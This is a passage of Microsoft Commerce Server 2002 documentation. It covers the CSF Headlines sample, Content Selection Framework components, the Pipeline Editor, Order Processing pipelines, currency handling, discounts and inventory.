To run the CSF Headlines sample, complete the following procedure. The CSF Headlines sample must be installed, and both SQL Server and the Content Selection Framework (CSF) components must be prepared before performing this procedure.

To run the CSF Headlines sample

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type http://<server name>/csfheadlines/default.asp, and then press ENTER.

The CSF Headlines Web page appears.

The targeted headlines appear on the page, as well as debugging and tracing information about the data processed in the pipeline and the data stored in the cache. Click the Refresh button on your browser to see the changing headlines.

You can try changing the headline dates and priorities in the headline table in Microsoft SQL Server and watch the effect on the headline scores. While no Commerce Server Business Desk module is provided for managing headlines, you can create advertisements and then convert them to headlines by adding corresponding records to the Headline table and changing the Guid_campitem_type column in the Campaign_item table to match the globally unique identifier (GUID) for headline type content (retrieve this GUID from the Campitem_types table).

See Also

Step 1: Installing the CSF Headlines Sample

Step 2: Preparing SQL Server for the CSF Headlines Sample

Step 3: Preparing the CSF Components for the CSF Headlines Sample


Content Selection Framework Component Reference

The Content Selection Framework (CSF) contains many object-specific components. This section contains a list of CSF pipeline and CacheManager object components and links to them in the Programmer's Reference.

This section contains:

  • CacheManager Components
  • Content Selection Framework Pipeline Components
  • Framework Components


CacheManager Components

The following components are the Content Selection Framework (CSF) components used by the CacheManager object for loading caches and writing out campaign results:

  • CSFLoadAdvertisements
  • CSFLoadDiscounts
  • CSFWriteEvents


Content Selection Framework Pipeline Components

The Content Selection pipeline and the Event Processing pipeline use the Content Selection Framework (CSF) pipeline components for determining targeted content and processing navigational user events. The following table lists the components and their recommended pipeline(s) and stage.

Component | Pipeline | Stage
AdvertisingNeedOfDelivery | Content Selection | Initial Score
EvalTargetGroups | Content Selection | Scoring
FilterContent | Content Selection | Filter
FormatTemplate | Content Selection | Format
HistoryPenalty | Content Selection | Scoring
IISAppendToLog | Content Selection and Event Processing | Record
InitCSFPipeline | Content Selection | Load Context
LoadHistory | Content Selection | Load Context
RecordEvent | Content Selection and Event Processing | Record
RecordHistory | Content Selection | Record
SaveHistory | Content Selection | Record
ScoreDiscounts | Content Selection | Scoring
SelectWinners | Content Selection | Select


Framework Components

The following components are not pipeline components, although they can be created or used by pipeline components.

  • CacheManager
  • ContentList
  • ContentListFactory
  • ContentSelector
  • ExpressionEval


Working with Pipelines

A Commerce Server 2002 pipeline is a software infrastructure that links one or more components and runs them in sequence. Microsoft Commerce Server 2002 uses this infrastructure to implement three pipeline models: the Order Processing pipeline (OPP), the Direct Mailer pipeline, and the Content Selection pipeline.

This section contains:

  • Pipeline Basics. Describes the basic features of Commerce Server 2002 pipelines.
  • Pipeline Editor. Explains how to use the Pipeline Editor to create pipelines from templates, modify existing pipelines by changing properties, and create custom pipelines.
  • Order Processing Pipelines. Describes the various types of Commerce Server 2002 Order Processing pipelines and enhancements to those pipelines, and provides a reference to the stages and components in Order Processing pipelines.
  • Direct Mailer Pipeline. Describes the stages and components used in the Direct Mailer pipeline.
  • Content Selection Pipelines. Describes the stages and components in the Content Selection pipeline that are used for selecting ads, determining discounts, and adding personalization to pages.
  • Pooled Pipelines. Explains how to use pooled pipelines.
  • Building Pipeline Components. Explains how to build new pipeline components in both C++ and Microsoft Visual Basic.

See Also

Pipeline Framework Objects

Types of Pipelines


Pipeline Basics

A pipeline is a software infrastructure that defines and links one or more stages of a business process, running them in sequence to complete a specific task. Pipelines divide processing into stages, which are abstractions that describe a category of work. They also determine the sequence in which each category of work is performed.

Each stage of a pipeline contains one or more pipeline components (COM objects) that can be configured to work with the unique requirements of the site. For example, a typical Order Processing pipeline may include a Shopper Information stage, a Payment stage, and a Shipping stage.

Pipeline configuration files (.pcf) define pipelines. The pipeline specified by the file is created and run by a pipeline object. Commerce Server 2002 provides five objects to run pipelines: MtsPipeline, MtsTxPipeline, PooledPipeline, PooledTxPipeline, and OrderPipeline. The MtsPipeline and PooledPipeline objects do not support transactions. The MtsTxPipeline and PooledTxPipeline objects do support transactions.

Note

Note

  • In Commerce Server 2002, pipelines are often run indirectly through the RunPipe method of the OrderGroup object. The RunPipe method creates one of the five pipeline objects and uses it to run the pipeline.

Pipeline configuration files (.pcf files) are usually marked in one of following three ways:

  • Any pipeline. May be loaded into any pipeline.
  • Requires transacted pipeline. Must be loaded into an MtsTxPipeline or PooledTxPipeline pipeline.
  • Requires a non-transacted pipeline. Must be loaded into an MtsPipeline, PooledPipeline, or OrderPipeline pipeline.

The pooled pipelines take advantage of COM+ object pooling to speed up pipeline loading and execution. For more information, see Pooled Pipelines.

Designing Pipelines for Your Site

As the designer of the pipelines for your site, you must take measures to ensure that the pipelines function correctly. First, you should ensure that no pipeline component is configured to overwrite the work done by another component.

Second, you should define the circumstances under which the pipeline is to stop processing. As each component in the pipeline runs, it returns a status that indicates success, a warning, or failure. If you configure a stage to tolerate warnings, the pipeline continues to operate despite a warning generated by a component in that stage. If you configure a stage to tolerate only success, and a component in that stage returns a warning, the pipeline stops processing, and returns an error.


Pipeline Editor

The Pipeline Editor is an application used for creating and editing Commerce Server pipelines. You can use it to edit a pipeline on your local computer or on a computer connected to a local area network (LAN).

Pipelines are described in pipeline configuration (.pcf) files. You create and configure .pcf files with the Pipeline Editor.

The Pipeline Editor displays a pipeline as a pipe, showing the stages of the pipeline as pipe segments. The components used in a stage appear as valves.

The Pipeline Editor with labels indicating the stages and components of a pipeline.

Certain components have an affinity with certain stages. This means that the component was designed for use within that stage. Commerce Server does not enforce this stage and component association. You may include any component in any stage.

Note

  • If you use the Pipeline Editor to display the components having an affinity with a given stage, you will see the Money Converter and Scriptor components. These components have an affinity with all stages.

This section contains:

  • Starting the Pipeline Editor. Describes how to start the Pipeline Editor and load an existing pipeline configuration file.
  • Creating a New Pipeline. Describes how to use the pipeline configuration templates (.pct) to create a new pipeline.
  • Adding a Component to a Pipeline. Describes how to add a component to a stage of a pipeline configuration.
  • Changing the Order of Components in a Pipeline Stage. Describes how to move components up or down within a pipeline stage.
  • Creating a List of Values Read and Written by a Pipeline. Describes how to create a list of values the pipeline reads from and writes to the various dictionaries.
  • Using the Pipeline Editor Property Pages. Describes how to modify the properties — such as names and currency settings — of the various elements of a pipeline.
  • Creating a Custom Pipeline. Describes the process of creating a pipeline that does not use one of the standard templates.


Starting the Pipeline Editor

The following procedure describes how to start the Pipeline Editor.

To start the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open.
  3. Select the .pcf file for the pipeline you want to edit, and then click Open.

The Pipeline Editor opens and displays the .pcf file you selected to edit.

See Also

Creating a New Pipeline

Creating a Custom Pipeline


Creating a New Pipeline

Commerce Server 2002 provides the following standard templates on which you can base a new pipeline. The template files for creating new pipelines have the .pct file extension (pipeline configuration template). When you save the new template, it is saved with the standard pipeline configuration file (.pcf) extension.

Template name | Description
ContentSelection.pct | Seven-stage pipeline used to select content for advertising, promotions, and personalization. Contains the following stages: Load Context, Filter, Initial Score, Scoring, Select, Record, Format.
Empty.pct | Empty pipeline.
EventProcessing.pct | Three-stage event recording pipeline used to track ads, promotions, and sales for schedule updating. Contains the following stages: Load Context, Record, and Format.
Plan.pct | Fourteen-stage Order Processing pipeline (OPP) used to calculate the amount of an order in a retail scenario. Contains the following stages: Product Info, Merchant Information, Shopper Information, Order Initialization, Order Check, Item Price, Item Adjust Price, Order Adjust Price, Order Subtotal, Shipping, Handling, Tax, Order Total, and Inventory.
Product.pct | Five-stage OPP used to check factors affecting the price of a product. Contains the following stages: Product Info, Shopper Information, Item Price, Item Adjust Price, and Inventory.
Purchase.pct | Three-stage OPP. Accepts the final purchase information. Contains the following stages: Purchase Check, Payment, and Accept.
Test.pct | One-stage pipeline. Contains the Test stage.

The template provides a pre-configured pipeline. You can change the names of stages, and delete or add stages.

You can add or delete any component in any stage.

To create a new pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click New.
  3. In the Choose a Pipeline Template dialog box, select a template, and then click OK.
  4. Modify the pipeline as necessary.
  5. On the File menu, click Save As, type the name of the file in the File name box, and then click Save.

See Also

Adding a Component to a Pipeline

Changing the Order of Components in a Pipeline Stage

Creating a List of Values Read and Written by a Pipeline

Using the Pipeline Editor Property Pages

Creating a Custom Pipeline


Adding a Component to a Pipeline

Using the Pipeline Editor, you can add a component to any stage in a pipeline. However, the values that a particular component needs must exist in the order form before the component can successfully complete its function.

Note

  • You need to ensure that the components in the preceding stages have written the necessary values to the order form before the stage where you insert a component that needs those values.

To add a component to a pipeline using the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline you want to modify.
  3. Do one of the following:
    • Right-click the name of the stage in which you want to insert the component, and then click Insert Component. The Choose a component dialog box appears.

      Or

    • Right-click the name of an existing component within that stage, point to Insert Component, and then click either Before or After. The Choose a component dialog box appears.
  4. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select a stage option.
    Components Select a component.

    Note

    • The stage option you choose determines which components are displayed in the Components section. The default value is the name of the stage where you are inserting the component; selecting this option displays only those components that are used in that stage. Selecting All displays all components, regardless of the stage in which they are normally used.
  5. In the Components list, select the name of the component you want to insert, and then click OK.
  6. To configure the new component, right-click the component, and then click Properties.
  7. In the Component Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the component.
    Class ID | Type a globally unique identifier for the component.
    Program ID | Type the programmatic identifier for the component.
    Description | Type a description for the component.
  8. Click Apply, and then click OK.
  9. On the File menu, click Save.

The new component is added to your pipeline.

See Also

Changing the Order of Components in a Pipeline Stage

Creating a List of Values Read and Written by a Pipeline

Using the Pipeline Editor Property Pages


Changing the Order of Components in a Pipeline Stage

You can change the order of components within a pipeline stage using the up or down arrow buttons in the Pipeline Editor.

To change the order of a component in the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline that contains the component whose order you want to change.
  3. Right-click the name of the component whose order you want to change, and then click either Move Down or Move Up.
  4. On the File menu, click Save.

Your changes to the pipeline are saved.

See Also

Adding a Component to a Pipeline


Creating a List of Values Read and Written by a Pipeline

Each component in a pipeline reads values from the order form, performs its function, and then writes values to the order form. Components that run later in the pipeline often read values that previous components have written to the order form. When you are modifying a pipeline or creating a new one, it can be helpful to see a list of the values that each component reads and writes so that you can ensure that the necessary values are present at each point in the pipeline.

With the Pipeline Editor, you can create a text file that lists each component of a pipeline in the order in which it is run. The text file lists all of the components run by the pipeline, including the required components. (The required component always runs last in a stage.) For each component, the file lists the following information:

  • Input values (values read)
  • Output values (values written)
  • Context values (values read from the PipeContext Dictionary object, which is passed as a parameter to the Execute method of the pipeline object)

To create a list of all values read and written by a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline that contains the values you want to appear on your list.
  3. On the File menu, click Save Values Read & Written.
  4. In the Save as dialog box, specify a location and a file name for the text file, and then click Save.

The Pipeline Editor saves the file and opens it in Microsoft Notepad.

See Also

Adding a Component to a Pipeline

Using the Pipeline Editor Property Pages


Using the Pipeline Editor Property Pages

The Pipeline Editor provides an easy interface for viewing and modifying the properties for pipelines, stages, and components.

You use the following dialog boxes to edit the properties for pipelines, stages, and components.

Element | Dialog Box | Description
Pipeline | Pipe Properties | Pipeline name, the type of pipeline the .pcf file can be used with, currency and LCID settings, and comments.
Stage | Stage Properties | Stage name, description, GUID, mode and error level settings, and comments.
Component | Component Properties, Values Read and Written, Component-specific pages | Component name, Class ID, ProgID, description, values read from and written to the order form, and values read from the Context dictionary object. A component that has configurable properties may have an additional property page whose options are specific to that component.

To view properties in the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. In the Pipeline Editor, right-click the name of the pipeline, stage, or component whose properties you want to view, and then click Properties.

The properties for the pipeline, stage, or component you want to view appear in the Pipeline Editor.

This section contains:

  • Pipeline Properties. Describes how to change properties of the pipeline as a whole, and how to change specific properties in the Pipeline Properties dialog box.
  • Stage Properties. Describes how to change the properties of a stage.
  • Component Properties. Describes how to change the properties of a component.
  • Values Read and Written Properties. Describes how to view the Values Read and Written properties for a component.
  • Creation Error Properties. Describes the error dialog box that appears when a pipeline component cannot be loaded.


Pipeline Properties

You use the Pipeline Properties dialog box to change the name of the pipeline, specify its transaction compatibility, currency mode, or save notes about the pipeline.

The following properties are available in the Pipeline Properties dialog box:

  • Label. Specifies the name that the Pipeline Editor displays for this pipeline. You can change the name by typing a new name.
  • Transaction Compatibility. Specifies what pipeline object this configuration file can be used with. The options are:
    • Any pipeline. Indicates that this configuration file can be used with an OrderPipeline object, with non-transacted pipeline objects (PooledPipeline, MtsPipeline), or with transacted pipeline objects (PooledTxPipeline, MtsTxPipeline).
    • Requires a transacted pipeline (MtsTxPipeline). Indicates that this configuration file can be used only with a transacted pipeline object (PooledTxPipeline, MtsTxPipeline). Transacted pipeline objects are registered with Microsoft Transaction Server (MTS) as transactions required, and hold a transaction that spans all components in the pipeline.
    • Requires a non-transacted pipeline (MtsPipeline). Indicates that this configuration file can be used only with a non-transacted pipeline object (PooledPipeline, MtsPipeline, and OrderPipeline). Non-transacted pipeline objects are registered with MTS as transactions not supported.
  • Currency Mode. Determines how the pipeline handles currency values. The options are:
    • Currency and Integer (compatibility). Allows Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 components using currency values to be mixed in the pipeline. The Required components at the end of each stage maintain and update two sets of currency values — one set for Site Server 3.0 Commerce Edition components and one set for Commerce Server 2002. Mixing Site Server 3.0 Commerce Edition components and Commerce Server 2002 in the same stage requires using the MoneyConverter pipeline component.
    • Currency (high-precision). Uses the higher-precision currency type for all components in the pipeline. Requires that all components using monetary values be able to use the high precision currency values. In general, the names of these components end with the suffix "Cy."
  • Supply a currency LCID. Specifies a locale ID (LCID) for currency handling. The default value is zero (0), which uses the default locale ID of the server.
  • Supply the number of decimal places used for currency rounding. Determines how many digits of precision are held by a currency (for example, two digits are held for United States pennies). This value is used for default rounding processing, and to determine the scaling factor used in legacy currency keys. This property is active only if Currency (high precision) is specified for Currency Mode.
  • Description. An area for you to enter comments about this pipeline.


Stage Properties

You use the Stage Properties dialog box to change the following properties of a pipeline stage:

  • Label. Specifies the name that the Pipeline Editor displays for this stage. You can change the name by typing a new name.
  • Description. An area for you to type a description for this stage.
  • GUID. A globally unique identifier that identifies this stage.
  • Mode. The Mode field is provided for compatibility with Site Server 2.0 pipelines, in which a number identifies which stages of a pipeline are to be run by the RunProduct, RunPlan, and RunPurchase methods of the Page object. Use 1 for RunProduct, 2 for RunPlan, and 4 for RunPurchase. A value of zero (0) prevents the stage from running
  • Error level. When any component in the stage generates an error at or above the level specified in the Error level box, the stage skips the remaining components in the stage, and logs the event in the log file. For more information about component error levels, see Error Levels.


Component Properties

You use the Component Properties dialog box to change the name of the component, to view the Class ID or ProgID of the component, and to save notes about the component.

The following properties are available in the Component Properties dialog box:

  • Label. Specifies the name that the Pipeline Editor displays for this component. You can change the name by typing a new name.
  • Class ID. Specifies the globally unique identifier (GUID) that identifies this component on any computer. This ID never changes.
  • Program ID. Specifies the easily recognizable ID for the component. This ID never changes.
  • Required. Indicates that the pipeline component should not be removed from the pipeline.
  • Description. An area for you to enter comments about this component.


Values Read and Written Properties

You use the Values Read and Written dialog box to view the values that this component reads from and writes to the order form and the values it reads from the Context dictionary object.

Note

  • The Pipeline Editor is unable to display values read and written for components that do not support the IPipelineComponentDescription interface (such as Site Server 3.0 Commerce Edition components).

The following properties are available in the Values Read and Written dialog box:

  • Values Read. Specifies the values that this component reads from the order form before it performs its function.
  • Values Written. Specifies the values that this component writes to the order form or other dictionaries after it has completed its function.
  • Context Values Read. Specifies the values that this component reads from the Context dictionary object. The Context dictionary object is passed as a parameter to the Execute method of the pipeline.

See Also

Creating a List of Values Read and Written by a Pipeline


Creation Error Properties

This dialog box displays an error to help you determine the reason that a pipeline component could not be loaded.

Try the following solutions:

  • Delete the component from the pipeline and then reinsert it.
  • Make sure that the dynamic-link library (DLL) associated with the component is properly registered.
  • If the above solutions do not correct the problem, try reinstalling Commerce Server.


Creating a Custom Pipeline

With the Pipeline Editor you can create a custom pipeline without basing it on one of the preconfigured pipeline template files (.pct).

To create a custom pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. In the Pipeline Editor, on the File menu, click New.
  3. In the Choose a Pipeline Template box, select Empty.pct, and then click OK.

    An empty pipeline file appears.

  4. Right-click Empty Pipeline Template, and then click Properties.
  5. In the Pipeline Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the pipeline.
    Transaction Compatibility Select a transaction compatibility option from the drop-down list. The options are:
    • Any pipeline. May be loaded into any pipeline.
    • Requires transacted pipeline. Must be loaded into an MtsTxPipeline or PooledTxPipeline pipeline.
    • Requires a non-transacted pipeline. Must be loaded into an MtsPipeline or PooledPipeline pipeline.
    Supply a currency LCID | Specify a locale ID (LCID) for currency handling. The default value is zero (0), which uses the default locale ID of the server.
    Supply the number of decimal places used for currency rounding Type the number for digits of precision to be held by the currency (for example, two digits are held for United States pennies). This value is used for default rounding processing, and to determine the scaling factor used in legacy currency keys.

    Note

    • This option is active only if Currency (high precision) is specified for Currency Mode.
    Description | Type a description for the pipeline.
  6. Click Apply, and then click OK.
  7. In the Pipeline Editor, right-click the name of the new pipeline, and then click Insert Stage.

    A New Stage placeholder appears in the pipeline.

  8. Right-click New Stage, and then click Properties.
  9. In the Stage Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the stage.
    Description | Type a description for the stage.
    GUID | Type a globally unique identifier for the stage.
    Mode Specify the mode for the stage for compatibility with Site Server 3.0 Commerce Edition.

    Note

    • The Mode field is provided for compatibility with Site Server 2.0 pipelines, in which a number identifies which stages of a pipeline are to be run by the RunProduct, RunPlan, and RunPurchase methods of the Page object. Valid values are:
      • 1 — RunProduct
      • 2 — RunPlan
      • 4 — RunPurchase

    A value of zero (0) prevents the stage from running.
    Error level Specify the error level for the stage.

    Note

    When any component in the stage generates an error at or above the level specified in the Error level box, the stage stops running and generates an error. For more information about error levels, see Error Levels.
  10. Click Apply, and then click OK.
  11. Right-click the name of the new stage, and then click Insert Component.
  12. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select a stage option.
    Components | Select the name of the component you want to insert.
  13. Click OK.
  14. To configure the new component, right-click the component, and then click Properties. Modify the properties of the component as necessary, and then click OK.
  15. On the File menu, click Save As, and then type a name for the pipeline configuration file in the File name box.

The file is saved with the .pcf file extension.

See Also

Starting the Pipeline Editor

Creating a New Pipeline

Adding a Component to a Pipeline

Changing the Order of Components in a Pipeline Stage

Using the Pipeline Editor Property Pages


Order Processing Pipelines

The Order Processing pipelines (OPP) are software infrastructures that link several components and run them in sequence on an OrderForm or Dictionary object. Commerce Server 2002 includes three basic types of order processing pipelines, which implement aspects of business-to-consumer and business-to-business sites.

This section contains:

  • About Order Processing Pipelines. Describes how the Order Processing pipelines work.
  • Default and Required Components. Explains the role of the Default and Required components in Order Processing pipelines. These components help to ensure data integrity during processing.
  • Currency Enhancements. Describes the high-precision currency data type and how pipeline components handle it.
  • Discount Objects. Explains the basic parts of a discount and how discounts are applied by using discount components.
  • Inventory Objects. Explains how to check and reduce inventory by using inventory components.
  • Shipping Objects. Describes the multiple-shipment shipping architecture and how to use Site Server 3.0 shipping components in Commerce Server 2002 pipelines.
  • Tax Objects. Explains how to use tax components with the multiple-shipment shipping architecture in Commerce Server 2002.
  • Business-to-Consumer Pipelines. Describes the business-to-consumer pipelines, which are the Product, Plan, and Purchase pipelines. These pipelines are used in Commerce Server sites designed for retail shopping by the public.
  • Using the Order Processing Pipelines. Explains how to use Order Processing pipeline components in Commerce Server sites.
  • Order Processing Pipelines Component Reference. Lists the components used in Order Processing pipelines.


About Order Processing Pipelines

Imagine a company department charged with processing a large volume of daily orders. To deal with the volume, the department might divide order processing into a series of steps, assigning one person to calculate shipping, another to ensure that the items ordered are in inventory, and another to check prices.

For such an assembly-line approach to work, some level of coordination is essential among the people charged with order-related tasks. Thus, while dividing order processing into stages to make large-volume processing possible, this hypothetical processing department must also define the rules that coordinate the various tasks.

The Order Processing pipelines (OPP) work in much the same way as this hypothetical department. The Order Processing pipelines divide order processing into stages that describe categories of work. Thus, a typical OPP might include a Shopper Information stage, a Payment stage, and a Shipping stage.

Each stage in a pipeline consists of zero or more components. The components are run in sequence. A component is a Component Object Model (COM) object designed to perform some operation on an OrderForm object or other Dictionary object. In many cases, this operation is small. For example, the DefaultShipping component, which runs in the Shipping stage, ensures that another component has not already calculated the shipping cost. If this cost has already been set, the DefaultShipping component overwrites the value with zero (0) to ensure that components later in the Shipping stage begin with a reliable value.

The OPP further coordinates the work of components by ensuring that every component in an OPP is reading from and writing to the same purchase order. This purchase order is the OrderForm object.

The OrderForm object, which is the link between the Web site and the pipeline, contains all the necessary information to process a purchase, including user, shipping, tax, and item price information. In addition, the OrderForm object supports the methods needed to add new items to itself. After each component in the OPP performs its work on the OrderForm object, the OPP passes the OrderForm object to the next component in the pipeline.

The designer of the pipelines for your site needs to take measures to ensure that the OPP functions correctly. First, configure the pipeline components so that they do not overwrite the work done by other components. (Components such as the DefaultShipping component are exceptions to this rule.) Second, define the conditions under which the OPP will stop processing an OrderForm object. As each component runs, it returns a status value indicating success, a warning, or failure. If you configure a stage to tolerate warnings, the OPP continues to operate despite warnings. If you configure a stage to tolerate only success, and the component returns a warning, then the OPP stops processing the OrderForm object, and returns an error. The pipeline components do not retry the transaction. When the OPP stops processing, the pipeline process fails and the order is not processed.


Default and Required Components

All the templates for the Order Processing pipelines (OPP) include Default and Required components. These components are provided to ensure the integrity of data as it comes into and goes out of a pipeline stage.

In general, Default components appear at the beginning of a stage, and site developers often replace them. Default components are all named as such—DefaultShipping, DefaultPayment, and so on. Default components ensure that critical values for the stage exist. This might involve copying the values of one set of dictionary keys to another set of keys, or initializing some values to zero. If your pipeline does not require special functionality, then the default components do not need to be replaced. However, if you need these Default components to function differently, you will need to either replace these components with other components included in Commerce Server 2002 or create your own custom components. For more information about creating custom components, see Building Pipeline Components. For a list of components included with Commerce Server 2002, see Pipeline Component Reference.

Required components ensure the integrity of the data as it leaves the pipeline stage. In many cases this involves setting values and raising errors or warnings. It can also involve checking that values were set in a previous component.

In addition, some Required components (RequiredItemPrice, for example) automatically perform currency and integer conversions at the end of a pipeline stage when the Currency Mode is set to Currency and Integer (compatibility). This means that if a pipeline stage contains only Site Server 3.0 Commerce Edition or Commerce Server 2002 objects, you do not need to worry about converting the values. For more information about currency handling, see Currency Enhancements.


Currency Enhancements

With Commerce Server 2002, you have the option of using a high-precision currency value representation. This section describes the new currency representation, explains how to use it in both old and new pipelines, and lists the new data functions for handling the currency type. For information about supporting multiple currencies, see Localizing Currencies.

This section contains:

  • Currency Overview. Describes how Site Server 3.0 Commerce Edition and Commerce Server 2002 represent currency values.
  • Currency Modes. Explains the two modes used by Commerce Server 2002 pipelines that allow you to mix old and new components together, or to improve the performance of your pipelines by using only the new currency value representation.
  • Rounding. Explains how fractional units are rounded in the different currency value representations.
  • Data Functions. Lists the new data functions that allow you to use the new currency value representation on your Active Server Pages (ASP) pages.


Currency Overview

Site Server 3.0 Commerce Edition uses long (32-bit) integers to represent money values in the base monetary unit of a locale. The base monetary unit is the smallest denomination of a currency, for example, pennies in the United States. This representation sets a relatively low limit on the maximum value that can be represented.

Commerce Server 2002 supports the OLE Automation currency data type for monetary values. This representation allows for larger values, as well as allowing up to four decimal places (internally the data type is a 64-bit integer scaled by 10000). Site Server 3.0 Commerce Edition used an integer representation ($1.99 needed to be stored as 199). Commerce Server 2002 uses a direct decimal representation ($1.99 is stored as 1.99).

Commerce Server 2002 retains the Site Server 3.0 Commerce Edition representation, as well as providing the higher-precision representation. Two different types of keys in the dictionaries depict the two representations. When a key has a high-precision currency value assigned to it, the key is prefixed with ""cy_"". The prefix follows any other prefix in the key name. For example, the high-precision currency version of the key _oadjust_adjustedprice is _cy_oadjust_adjustedprice.

See Also

Currency Modes

Rounding

Data Functions

Localizing Currencies


Currency Modes

In Commerce Server 2002, the Order Processing pipelines work in two modes: compatibility mode and high-precision mode. The default mode is compatibility mode. In this mode, monetary values are maintained in both formats, though under different dictionary keys. Compatibility mode allows Site Server 3.0 Commerce Edition pipelines to run without change. It also allows for mixing Site Server 3.0 Commerce Edition and Commerce Server 2002 components.

In high-precision mode, only the high-precision currency type is used. This provides better performance because the pipeline maintains only one set of keys. It also avoids possible loss of precision in converting the values to and from the lower-precision integer format.

You can change the mode of a pipeline in the Pipeline Editor. For more information, see Pipeline Properties. If you use the high-precision mode, all the components in the pipeline must support the high-precision currency type.

If you use compatibility mode and you use all Commerce Server 2002 components or all Site Server 3.0 Commerce Edition components within a stage, you do not have to modify your pipeline. Each stage that uses monetary types includes a Required component at the end of the stage. These components automatically update both sets of keys used in compatibility mode.

If you mix Site Server 3.0 Commerce Edition components and Commerce Server 2002 components within a stage, you will need to surround the Site Server 3.0 Commerce Edition component with the MoneyConverter component to ensure that the dictionary values are kept current for both types of components. For more information, see MoneyConverter.

See Also

Currency Overview

Rounding

Data Functions


Rounding

High-precision currency values, unlike the Site Server 3.0 Commerce Edition integer values, have a fractional part. Because of this, Commerce Server 2002 rounds high-precision currency values before writing them to the dictionary. This helps prevent situations where a fractional value might cause a total value that was not equal to the sum of displayed values.

The Commerce Server 2002 Software Development Kit (SDK) sample code for developing pipeline components includes monetary rounding functions for use in building components. See the files moneyinfo.h and moneyinfo.cpp in the SDK for more information.

See Also

Currency Overview

Currency Modes

Data Functions


Data Functions

Commerce Server 2002 provides two data functions for handling the high-precision currency type. Both are methods of the DataFunctions object.

Function | Description
ConvertStringToCurrency | Converts a string representation of money into a currency Variant, based on the specified locale and currency symbol.
LocalizeCurrency | Creates a string representation of a currency value by using a specified locale and currency symbol.

See Also

Currency Overview

Currency Modes

Rounding


Discount Objects

Microsoft Commerce Server 2002 provides a flexible and powerful way to apply and manage discounts. The Content Selection Framework processes discounts by using the same pipelines that are used for ad selection and order processing.

Discounts are set up as parts of campaigns. For information about setting up discounts through Commerce Server Business Desk, see Creating a Discount. For information about the Content Selection pipeline, see Content Selection Pipelines.

This section contains:

  • Overview of Discount Elements. Describes the four elements of a discount: requirement, condition, award, and offer. Also described are the differences between order-level and item-level discounts.
  • How Discounts Are Applied Programmatically. Describes how the condition, award, and offer are evaluated in order to apply discounts to the purchases in the basket.


Overview of Discount Elements

In Microsoft Commerce Server 2002, discounts have four parts. In addition, discounts can apply either to the entire order or to individual items in the order. The four elements of a discount are:

  • Requirement. Requirements are general conditions that must be true for the discount to apply. These are often target expressions that are evaluated based on the user profile and the context profile. An example of a requirement would be that the user be a preferred shopper.
  • Condition. A condition that must be true for the discount to apply. Conditions are evaluated on individual items in the order form. Expressions for conditions can be built with the product picker or the Expression Builder in Commerce Server Business Desk. A condition includes things such as a specific SKU, a product category, or a particular manufacturer.
  • Award. An award condition that must be true for the discount to apply. An award condition is evaluated for individual items in the order form. An award condition can be an expression that the discount applies to any item or to all items.
  • Offer. An offer that is applied if the requirement, condition, and award are met. An offer is what is normally thought of as a discount — a percentage or monetary amount taken off the price of the product.

Discounts can be applied against an entire order (an order-level discount), or they can be applied against items in the order (an item-level discount). Other order-level discounts require custom programming.

See Also

How Discounts Are Applied Programmatically


How Discounts Are Applied Programmatically

In a Content Selection pipeline, the ScoreDiscounts component adjusts the scores in the list of possible discounts to ensure that the most relevant discounts receive the highest priority. The OrderDiscount pipeline component in an Order pipeline applies the list of discounts to the basket of the user.

The OrderDiscount component first evaluates the requirements of the available discounts. Depending on the discount involved, it uses the user profile and context profile information to form target expressions that it evaluates. In addition, if a discount requires a click, the component checks the discounts_clicked list (a list of campaign item IDs of every item that was clicked).

For each line item in the order, the OrderDiscount component writes two keys to the item dictionary: _n_unadjusted and _cy_oadjust_adjustedprice. The first key is the quantity of the item that has not had discounts applied. The second key is the total price of the items before discounts. The _n_unadjusted key is set to the quantity of the item; the _cy_oadjust_adjustedprice key is set to the total price for the items.

The OrderDiscount component next goes through the items, testing the conditions and awards. As an item is used in a discount, the two keys (_n_unadjusted and _cy_oadjust_adjustedprice) are adjusted appropriately. Discounts are applied from highest to lowest priority. If two discounts have the same priority, the discount appearing first in the database is applied.

There can be a limit to how many discounts can be applied to a basket. This limit is set in Commerce Server Business Desk. If the discount limit has a value of zero (0), discounts are unlimited. The discount limit is a basket limit and does not apply across baskets.

The OrderDiscount component uses a list to ensure integrity in the process. The component stores a list of discounts that were applied and the last time the discount was modified. If, on the next request, discounts that were applied no longer apply, the pur_dicountremoved error is added to the _Basket_Errors list.

The discount cache must be manually refreshed after changes are made to any discount. You can do this by using the Publish Campaigns module in the Campaigns category of Business Desk.

One way to implement discounts on your site is to accept promotional codes. First, set up the discount properties and the display information through Business Desk. Next, configure the discount definition by using the Expression Builder. For example, the expression could be Context.PromoCode equals 1234. Modifications will need to be made to the source code for the site. When the basket pipeline is called, a ContextProfile dictionary (which is a subdictionary of the Context dictionary) must be passed, and the promotional code entered must be set.

See Also

Overview of Discount Elements

Step 6: Updating the campaign on the Retail site

Business Desk Campaigns


Inventory Objects

Inventory management in Commerce Server sites usually occurs in two stages in the Order Processing pipelines (OPP).

The first stage, the Inventory stage, is usually configured to include components that determine whether a sufficient number of items are available to fill the order for a given product.

The second stage, the Accept stage, can be configured to modify the product table for a site to reflect the new number of items available for a given product. Optionally, you can use the SQLItemADO component in either the Inventory or Accept stage to reduce the local inventory after the items have been purchased.

This section explains how to use the inventory components included in Commerce Server 2002, and explains how you can use Commerce Server to address issues that arise in the context of inventory control.

This section contains:

